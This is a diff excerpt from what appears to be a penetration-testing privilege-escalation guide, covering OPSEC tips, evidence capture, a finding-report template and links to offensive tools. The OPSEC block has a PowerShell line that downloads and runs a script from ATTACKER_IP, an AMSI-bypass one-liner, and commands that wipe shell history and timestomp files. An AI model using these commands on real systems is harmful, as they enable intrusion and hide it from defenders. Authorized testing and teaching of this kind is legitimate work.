+- Use AppArmor/SELinux profiles for privilege containment
+
+### OPSEC Best Practices
+
+```bash
+# Use in-memory execution where possible
+# PowerShell (Windows):
+IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP:8080/script.ps1")
+
+# Avoid writing to disk when possible
+# Use LOLBins (Living Off the Land Binaries)
+
+# Clear command history (Linux):
+history -c && history -w
+unset HISTFILE
+export HISTSIZE=0
+
+# PowerShell history location (clear it):
+Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
+
+# Use AMSI bypass before running scripts (Windows):
+# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+
+# Timestomp files after writing (match legitimate files):
+# Linux:
+touch -r /bin/bash /tmp/exploit
+
+# Windows:
+# Use Metasploit timestomp module or custom PowerShell
+
+# Encrypt C2 traffic — use HTTPS listeners, not plain HTTP/nc
+
+# Clean up tools after use
+Remove-Item C:\Temp\winpeas.exe -Force
+rm -f /tmp/linpeas.sh /tmp/les.sh
+```
+
+---
+
+## Output and Documentation Instructions
+
+### During Exploitation — Capture Evidence
+
+```bash
+# Linux — log all commands with timestamps
+script -a /tmp/privesc_session.log
+# Or use:
+exec > >(tee -a /tmp/privesc_log.txt) 2>&1
+
+# Windows — log PowerShell session
+Start-Transcript -Path C:\Temp\privesc_log.txt -Append
+```
+
+### Mandatory Screenshots
+
+1. Initial shell showing low-privilege user (`whoami`, `id`)
+2. Vulnerability identified (WinPEAS/LinPEAS output section, or manual discovery)
+3. Exploit command executed
+4. Elevated shell with `whoami` / `id` showing SYSTEM or root
+5. Proof file read (e.g., `type C:\Users\Administrator\Desktop\proof.txt` or `cat /root/root.txt`)
+
+### Report Documentation Template
+
+```markdown
+## Privilege Escalation Finding
+
+**Severity:** Critical / High
+**Host:** [HOSTNAME] ([IP])
+**Initial Access:** [www-data / IIS AppPool / domain\user]
+**Escalated To:** SYSTEM / root
+
+### Vulnerability
+[Description of the misconfiguration or vulnerability]
+
+### Evidence
+- Screenshot 1: [Low-privilege shell]
+- Screenshot 2: [Vulnerability identified]
+- Screenshot 3: [Exploit execution]
+- Screenshot 4: [Elevated access confirmed]
+
+### Commands Used
+[Step-by-step commands with output]
+
+### Business Impact
+[What an attacker can do with SYSTEM/root access]
+
+### Remediation
+[Specific remediation steps]
+```
+
+### Organizing Findings Per Host
+
+```
+findings/
+└── HOST_IP/
+    ├── 01_initial_shell.png
+    ├── 02_winpeas_output.txt
+    ├── 03_vulnerability_identified.png
+    ├── 04_exploit_executed.png
+    ├── 05_system_shell.png
+    ├── 06_proof.txt
+    └── commands.log
+```
+
+---
+
+## Resources
+
+### Tools
+
+| Tool | URL | Use |
+|---|---|---|
+| PEASS-ng (WinPEAS/LinPEAS) | https://github.com/carlospolop/PEASS-ng | Automated enumeration |
+| PrivescCheck | https://github.com/itm4n/PrivescCheck | Windows PrivEsc check |
+| PowerSploit | https://github.com/PowerShellMafia/PowerSploit | PowerShell post-exploitation |
+| GodPotato | https://github.com/BeichenDream/GodPotato | SeImpersonate → SYSTEM |
+| PrintSpoofer | https://github.com/itm4n/PrintSpoofer | SeImpersonate → SYSTEM |
+| JuicyPotato | https://github.com/ohpe/juicy-potato | Token impersonation (older OS) |
+| linux-exploit-suggester | https://github.com/The-Z-Labs/linux-exploit-suggester | Kernel exploit enumeration |
+| GTFOBins | https://gtfobins.github.io | SUID/sudo abuse reference |
+| LOLBAS | https://lolbas-project.github.io | Windows LOLBins reference |
+| UACME | https://github.com/hfiref0x/UACME | UAC bypass collection |
+| Mimikatz | https://github.com/gentilkiwi/mimikatz | Credential harvesting |
+| PwnKit exploit | https://github.com/ly4k/PwnKit | CVE-2021-4034 pkexec |
+| DirtyPipe exploits | https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits | CVE-2022-0847 |
+
+### Learning References
+
+| Resource | URL |
+|---|---|
+| HackTricks Windows PrivEsc | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation |
+| HackTricks Linux PrivEsc | https://book.hacktricks.xyz/linux-hardening/privilege-escalation |
+| PayloadsAllTheThings Windows | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md |
+| PayloadsAllTheThings Linux | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md |
+| TCM Security PrivEsc Course | https://academy.tcm-sec.com/p/windows-privilege-escalation-for-beginners |
+| Exploit-DB | https://www.exploit-db.com |
+| CVE Details | https://www.cvedetails.com |
+
+### CLSID Lists for JuicyPotato
+
+| OS | CLSID List |
+|---|---|
+| Windows 7 / Server 2008 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_7_Enterprise |
+| Windows 10 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise |
+| Server 2016 | https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard |
+| Server 2019 | Use GodPotato or PrintSpoofer instead |